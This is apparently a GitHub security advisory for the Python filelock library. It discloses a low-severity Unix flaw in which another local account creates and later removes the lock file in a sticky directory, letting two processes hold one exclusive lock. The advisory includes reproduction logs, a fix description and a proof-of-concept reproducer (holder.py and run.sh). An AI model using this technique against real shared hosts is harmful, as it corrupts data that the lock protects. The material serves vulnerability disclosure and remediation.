Skip to main content
Menu
Advisories

FileLock on Unix lets two processes hold one lock after another user removes the lock file

GHSA-386W-3W6Q-9C53Published Updated GitHub

Description

On Unix, FileLock locks a regular file that already exists at the lock path, including one another local account created. Under a sticky directory such as /tmp that account owns the file and may remove it while a process holds the lock. The next process to acquire the lock creates and locks a new file at the same path, so two processes hold the same exclusive lock.

oss-security-shopify reported this through private vulnerability reporting as GHSA-386w-3w6q-9c53, received on 17 November 2026.

Affected area

Acquisition of the native Unix lock, UnixFileLock, which FileLock names where fcntl is available.

Attacker-controlled input

Another local account must be able to create the lock file before the victim does, in a sticky directory both can write, and must know or guess the lock path. It does not need access to the resource the lock protects, and it does not need to win a race: it removes the file at any time during a hold.

Affected code

In 4.2.11, _open_lock_file opens an existing file when the exclusive create fails, and _finalize_locked_fd records the hold after checking only that the file still has a link.

Mechanism

  1. The attacker creates the lock file with mode 0666 in a sticky directory.
  2. The victim's exclusive create fails with EEXIST, or with EACCES where the kernel protects files in sticky directories (fs.protected_regular). Both paths reach _open_existing_lock_file, which opens the attacker's file without O_CREAT. #317 added the EACCES path in 3.13.2.
  3. The victim takes flock on that file. _finalize_locked_fd sees st_nlink == 1 and records the hold. Nothing compares st_uid with the caller's user ID.
  4. The attacker unlinks the file. The sticky bit lets a file's owner remove it (unlink(2), EPERM). The victim's flock stays on the unlinked inode.
  5. A second process creates a new file at the path with O_CREAT | O_EXCL, takes flock on the new inode and enters the protected section while the first is still in it.

Out of scope: a lock file the caller created, which other accounts cannot remove under a sticky directory; a directory without the sticky bit that other accounts can write, where any of them can remove any file (the directory boundary); Windows; the soft locks, which already refuse a coordination directory of another account.

Reproduction and evidence

Run on Linux 7.3.3 (Fedora 45) in a user namespace that maps three user IDs: 1001 as the attacker and 1002 for both victim processes. Each victim holds the lock for 4 seconds and waits at most 2 seconds for it.

Control, 4.2.11, the attacker leaves the file in place. The second process times out:

lock file: owner uid 1001, mode 666
directory: mode 1777
first entered 10:57:44
filelock._error.Timeout: The file lock '/mnt/shared/app.lock' could not be acquired.
second exit status: 1
first left 10:57:48

4.2.11 (commit 554c37b5), the attacker removes the file 1.5 seconds into the first hold. Both processes are inside from 10:47:01 to 10:47:04:

lock file: owner uid 1001, mode 666
directory: mode 1777
first entered 10:47:00
uid 1001 removed the lock file
second entered 10:47:01
first left 10:47:04
second left 10:47:05
second exit status: 0

3.13.1, the release before #317, refuses the file, so the first process never holds it:

PermissionError: [Errno 13] Permission denied: '/mnt/shared/app.lock'

With the fix (commit 4536f7da), the first process is refused:

PermissionError: [Errno 13] lock file belongs to uid 1001, not to this process's account or the directory's owner: '/mnt/shared/app.lock'

Attack sequence

sequenceDiagram
    participant A as Attacker (uid 1001)
    participant P as /tmp/app.lock
    participant V1 as Victim process 1
    participant V2 as Victim process 2
    A->>P: create file, mode 0666
    V1->>+P: open existing file, flock inode 1
    P-->>V1: lock held
    rect rgb(255, 214, 214)
    A->>P: unlink (owner under sticky directory)
    V2->>+P: O_CREAT | O_EXCL creates inode 2, flock
    P-->>V2: lock held while process 1 still holds inode 1
    end
    deactivate P
    deactivate P
    rect rgb(216, 243, 220)
    V1->>P: fixed: fstat shows another owner
    P-->>V1: PermissionError, no hold
    end

Reproducer files

Written for this advisory; the report's cross-account steps were not run by the reporter. Install the release to test into a directory, then run from the directory holding both files. It needs unshare with subordinate user IDs and no root:

uv pip install --target site "filelock==4.2.11"
unshare --map-auto --map-root-user --setgroups allow -m sh run.sh "$PWD/site" "$PWD/holder.py" unlink

Pass control in place of unlink to leave the file in place.

holder.py

import sys
import time

from filelock import FileLock

with FileLock(sys.argv[2], timeout=float(sys.argv[3])):
    print(sys.argv[1], "entered", time.strftime("%X"), flush=True)
    time.sleep(4)
print(sys.argv[1], "left", time.strftime("%X"), flush=True)

run.sh

# usage: unshare --map-auto --map-root-user --setgroups allow -m sh run.sh <site-dir with filelock> <holder.py> control|unlink
set -u
mount -t tmpfs tmpfs /mnt
cp -r "$1" /mnt/site; cp "$2" /mnt/holder.py; chmod -R a+rX /mnt
mkdir /mnt/shared; chmod 1777 /mnt/shared
lock=/mnt/shared/app.lock
as() { uid=$1; shift; setpriv --reuid "$uid" --regid "$uid" --clear-groups "$@"; }
hold() { as 1002 env PYTHONPATH=/mnt/site PYTHONDONTWRITEBYTECODE=1 python3 /mnt/holder.py "$1" "$lock" 2; }
as 1001 sh -c "umask 000; : > $lock"
stat -c 'lock file: owner uid %u, mode %a' "$lock"; stat -c 'directory: mode %a' /mnt/shared
hold first &
sleep 1.5
if [ "$3" = unlink ]; then as 1001 rm "$lock" && echo "uid 1001 removed the lock file"; fi
hold second; echo "second exit status: $?"
wait

Impact

Two cooperating processes run the protected section at the same time, so whatever the application guards with the lock can be written twice or left inconsistent. The attacker gains no access to that resource and no code execution. What the overlap costs depends on the application and is not established here.

Reproducibility: moderate. The steps are deterministic and need no race, but they need a second local account and a lock path in a sticky directory that the attacker creates first.

Real-world exposure: niche. Most applications keep locks in a directory only their own account writes. A lock at a fixed path in /tmp on a host with other local accounts is the exposed setup, and the documentation named /tmp as a suitable sticky directory.

Severity: 2.5 (Low), CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N.

  • AV:L: the attacker needs a local account on the host.
  • AC:H: the attack depends on conditions the attacker does not control. The application must keep its lock at a predictable path in a shared sticky directory, and the attacker must create the file before any victim does.
  • PR:L: an unprivileged account suffices.
  • UI:N: no user action is needed.
  • S:U: the effect stays within the application using the lock.
  • C:N: nothing is disclosed.
  • I:L: the overlap can corrupt what the lock guards, but the attacker does not choose what is written. The evidence does not show more, so the lower value applies.
  • A:N: before this flaw the same attacker could already delay victims by holding the lock.

Versions tested

Reproduced on 3.13.2, 3.20.3, 4.0.0 and 4.2.11. Not reproduced on 3.13.1, which raises PermissionError. Releases between those tested were not run.

PR #968 makes UnixFileLock raise PermissionError for a lock file under a sticky directory that belongs to neither the caller's account nor the directory's owner. The check runs on the opened file once the lock is taken, and it is the rule StrictSoftFileLock and SoftReadWriteLock already apply to their coordination directories.

Known mitigation

Keep the lock file in a directory that only the accounts using the lock can write. Where the lock has to live in a shared sticky directory, have the directory's owner create the file before any other account can.

Affected release

  • [x] 4.2.11
  • [x] 4.0.0
  • [x] 3.20.3
  • [x] 3.13.2
  • [ ] 3.13.1

Credits

oss-security-shopify, GHSA-386w-3w6q-9c53.

Affected versions

References

GitHub · tox-dev/filelock